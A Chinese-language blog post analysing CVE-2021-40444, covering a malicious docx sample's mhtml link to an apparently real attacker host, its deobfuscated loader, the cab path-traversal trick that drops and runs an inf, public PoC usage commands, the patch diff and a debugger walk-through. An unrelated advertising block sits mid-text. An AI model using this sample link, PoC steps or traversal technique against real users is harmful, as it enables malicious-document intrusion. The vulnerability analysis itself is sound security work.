漏洞深入分析 -2021

前言:

随着 cve-2021-40444 的披露，随机引爆了全球的网络安全，虽然最近微软发布了补丁，但是 cve-2021-40444 的利用却越发猖狂。

0x00 0day 样本分析

拿到样本的第一时间，便在自己的沙箱环境下面运行了下，并且从网上下载的 docx，微软默认会开启保护模式，我这里是本地打开的，基本内容如下，全都是文字内容，基本上没发现什么:

但是在 rels 的 document.xml 文件中发现了链接Target=”mhtml:http://hidusi.com/e273caf2ca371919/mountain.html!x-usc:http://hidusi.com/e273caf2ca371919/mountain.html

【一>所有资源获取<一】1、200 多本网络安全系列电子书（该有的都有了）2、全套工具包（最全中文版，想用哪个用哪个）3、100 份 src 源码技术文档（项目学习不停，实践得真知）4、网络安全基础入门、Linux、web 安全、攻防方面的视频（2021 最新版）5、网络安全学习路线（告别不入流的学习）6、ctf 夺旗赛解析（题目解析实战操作）

可以发现其是指向文件的更新链接

从样本库众获取到 mountain.html 后，我们打开一看，发现全部都混淆了，基本难辨真假，去混淆也比较简单

因为是 js 代码，随便找个网上去混淆的试试，比如http://jsnice.org/，将混淆的代码粘贴上去后，一键试下

基本代码的轮廓就有了，它所有的字符串都会采用数组 var a0_0x127f 经过function a0_0x15ec进行拼接与置换

这就很简单了，我通过普通脚本再一次去混淆：

经过简单的静态分析与调试，基本上就是它会去请求服务器获取一个 cab 文件，并且会通过 cpl 指令去执行一个 inf

然后通过样本库获取到这个 cab，初步分析这个 cab，发现了其解压路径是../championship.inf，并且标志 cafile 的大小是0x415c00，cab文件格式[1]对应如下

最后将恶意的 url 改成我们自己搭建的 http server，之后成功复现样本攻击环境，并且捕捉到了样本通过 rundll32 执行了命令

0x01 cve-2021-40444 漏洞的分析与利用

cve-2021-40444的 poc 很快公开在了 github[2]上，poc 的使用很简单,通过sudo python3 exploit.py host 80开启简单的 http server 服务器，python3 exploit.py generate test/calc.dll ip生成包含有漏洞的 docx：

假如我们现在有一个正常的 docx，可以通过以下添加稍加修改，就成了可以包含 cve-2021-40444 漏洞的 docx 了

0x02 cve-2021-40444 的补丁对比

通过 ProcessMonitor 监控我们可以获得其创建和读取 cab 文件的行为，其调用堆栈如下：

9 月 14 号，微软发布了 cve-2021-40444 的补丁，经过补丁分析发现，urlmon.dll 模块的 catDirAndFile 对路径验证做了修改,将’/‘替换成了’\‘,防止路径遍历：

0x03 漏洞调试

调试之前，我们首先了解下微软对 cab 文件的 api

这些 api 包括了对 cab 文件的解析和读写操作等，urlmon 模块通过调用 cabinet 模块中的这些 api 来处理 cab 文件的

首先 docx 触发 get 请求后会通过 mshtml 模块来处理，并且对 cab 文件的处理将会进入 urlmon,之后在urlmon!GetSupportedInstallScopesFromFile这个 api 开始处理 cab 文件：

获取到C:\Users\l\AppData\Local\Microsoft\Windows\INetCache\IE\9FFFIV4G\word[1].cab先通过GetExtnAndBaseFileName去判断文件后缀名是不是 cab：

然后通过CreateUniqueCabTempDir创建临时文件夹，比如我这里是C:\Users\l\AppData\Local\Temp\Cab369A，进入api ExtractInfFile后，将会继续调用 Extract，在 Extract 将会第一次调用到FDICreate[3]和FDICopy[4],来获取 cab 的信息

FDICreate 主要是对其他读写 api 等进行初始化操作：

而 FDICopy 主要就是提取 cab 文件的信息了

进入CABINET!FDICopy后将会调用 LoginCabinet 来提取 cab 的 0x24 大小的 head 信息，比如包括对头部 MSCF 标志的判断：

之后将会进入CABINET!LoginCabinet、CABINET!FDICallEnumerate分别对应信息 FNFDINOTIFY 的fdintCABINET_INFO、fdintENUMERATE，再一次进入urlmon!fdiNotifyExtract后获取 CFFILE file 的信息，而对应的标志是 0x02：

获取到初始化结构体后将会在urlmon!ExtractInfFile调用urlmon!ExtractOneFile：

而在urlmon!ExtractOneFile中将会给(a4+0x202)赋值结构体 lpsz，将会确保在调用urlmon!NeedFile成功返回：

之后将会继续以标志fdintCOPY_FILE(0x02)继续调用urlmon!fdiNotifyExtract，继续调用urlmon!catDirAndFile继续路径字符串格式化，而我们传入的 inf 路径是C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf

最后退出urlmon!catDirAndFile将会在urlmon!fdiNotifyExtract中调用 Win32Open：

而在 Win32Open 中将会调用 CreateFileA，以路径C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf创建文件 msword.inf，因为路径存在目录遍历问题，所有将会在C:\Users\l\AppData\Local\Temp\msword.inf创建文件：

成功创建 msword.inf 文件后将会继续成功调用CABINET!FDIGetFile，在CABINET!FDIGetFile中将会以第一个 CFDATA data 大小数据写入到文件中，之后 caFile(实际为解压文件大小)将会减去写入的CFDATA data大小，接着进行比较直到将所有的 caFile 大小写入，而这里我们的 caFile 大小是 0x415c0000,远远大于实际的 CFDATA 的总大小，所以将会在调用最后一次CABINET!FDIGetDataBlock获取块的时候失败并退出：

虽然退出了，但不影响实际写入文件的数据，并且因为这个失败将不会在urlmon!DeleteExtractedFiles调用 DeleteFileA,因为 v2[2]的标志未清 0，所以不会删除临时文件，从而我们创建的 msword.inf 得以保存，并且在后续中可以直接以 cpl 命令运行C:\Users\l\AppData\Local\Temp\msword.inf

而正常的提取 cab 文件将会以标志fdintCLOSE_FILE_INFO(0x03)进入，调用urlmon!MarkExtracted，将标志清 0：

至此，从获取到 cab 文件到提取解析，并且触发目录遍历漏洞过程分析完毕。

有大佬公布以最简洁的方式触发了[5]这个漏洞，并且可以在 ie 中复现成功。

0x04 漏洞防范

对网上来路不明的 docx,请不要随意点击,更新最新的微软补丁